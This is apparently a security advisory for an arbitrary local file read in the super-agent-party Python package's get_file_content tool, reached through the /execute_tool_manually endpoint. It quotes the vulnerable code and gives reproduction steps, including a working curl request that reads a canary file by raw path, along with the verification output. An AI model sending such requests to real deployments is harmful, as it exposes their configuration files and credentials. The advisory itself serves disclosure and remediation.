Title: Arbitrary Local File Read via get_file_content Tool Dispatch in super-agent-party
Description:
An attacker who can reach the backend manual tool execution API can disclose arbitrary server-local readable files by passing a raw filesystem path in tool_params.file_url when invoking the get_file_content tool. The backend only treats http:// and https:// values as remote URLs; every other value is implicitly trusted as a local path and opened directly.
The vulnerable entry point is the public HTTP endpoint POST /execute_tool_manually in server.py. That route accepts user-controlled tool_name and tool_params, then dispatches them into the backend tool registry.
At release v0.4.1, get_file_content is registered as a callable tool in the dispatcher:
_TOOL_HOOKS = {
...
"get_file_content": get_file_content,
...
}The root cause sits in py/load_files.py. The helper get_content() only distinguishes whether the supplied string starts with http:// or https://. If not, it falls back to local file handling:
async def get_content(input_str):
if input_str.startswith(('http://', 'https://')):
return await handle_url(input_str)
else:
return await handle_local_file(input_str)handle_local_file() then performs a direct filesystem read:
async def handle_local_file(file_path):
if not os.path.exists(file_path):
raise FileNotFoundError(f"文件不存在: {file_path}")
loop = asyncio.get_event_loop()
content = await loop.run_in_executor(None, _read_file, file_path)
...
def _read_file(file_path):
with open(file_path, 'rb') as f:
return f.read()get_file_content() returns the decoded file contents to the API caller:
async def get_file_content(file_url):
try:
content, ext = await get_content(file_url)
...
return decode_text(content)This is exploitable through the normal HTTP interface. In the verified environment, a request using a raw absolute local path returned the canary file contents, while a control request using http://127.0.0.1/... was blocked by the internal-network defense. That demonstrates the backend already has URL-side SSRF protections, but does not apply equivalent validation to non-HTTP input.
- A running
super-agent-partybackend instance started from the repository, for example:.venv/bin/python server.py --host 127.0.0.1 --port 3456 - Reachability to
http://127.0.0.1:3456/execute_tool_manually - A readable local file on the target host. The provided PoC uses the exp folder canary file.
- Download the primary verification script from: verification_test.py
- Download the helper used by the verification script from: experiment_lib.py
- Optionally download the original full verification harness from: verification_test_CVE-2026-26321.py
- Download the control script from: control-blocked_remote_fetch.py
- Start the backend:
.venv/bin/python server.py --host 127.0.0.1 --port 3456 - Run the verification script:
python3 verification_test.py - The equivalent minimal raw request is:
curl -s -X POST http://127.0.0.1:3456/execute_tool_manually -H 'Content-Type: application/json' --data '{"tool_name":"get_file_content","tool_params":{"file_url":"/root/project/xclaw-project/super-agent-party/llm-enhance/cve-finding/similar/Info_Leak/CVE-2026-26321-get_file_content-local-path-exp/verification_canary.txt"},"approval_type":"once"}' - Confirm the response contains the canary string from the local file.
- Run the control script:
python3 control-blocked_remote_fetch.py - Confirm the localhost URL control is rejected instead of leaking content.
Verified runtime evidence from verification_result.json:
{
"mode": "End-to-End",
"health_status": 200,
"vuln_status": 200,
"vuln_body": "{\"result\":\"CVE-2026-26321-CANARY-1781301776\"}",
"remote_status": 200,
"remote_body": "{\"result\":\"文件解析错误: 安全拒绝: 不允许访问内部网络地址 (127.0.0.1)\"}",
"file_scheme_status": 200,
"file_scheme_body": "{\"result\":\"文件解析错误: 文件不存在: file:///root/project/xclaw-project/super-agent-party/llm-enhance/cve-finding/similar/Info_Leak/CVE-2026-26321-get_file_content-local-path-exp/verification_canary.txt\"}",
"marker": "CVE-2026-26321-CANARY-1781301776",
"confirmed": true
}Verified control evidence from control_result.json:
{
"mode": "End-to-End",
"control_status": 200,
"control_body": "{\"result\":\"文件解析错误: 安全拒绝: 不允许访问内部网络地址 (127.0.0.1)\"}",
"marker": "CVE-2026-26321-CONTROL-1781301776",
"blocked": true
}This is an arbitrary local file read affecting deployed super-agent-party backend instances that expose the manual tool execution API to untrusted callers. A successful attacker can read any file that the backend process user can read, including application configuration, uploaded data, stored task/workspace material, and files containing secrets such as API keys or integration credentials. In shared or remotely accessible deployments, this can become a cross-user confidentiality breach and a stepping stone for further compromise.
- Ecosystem: pip
- Package name: super-agent-party
- Affected versions: <= 0.4.1
- Patched versions:
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor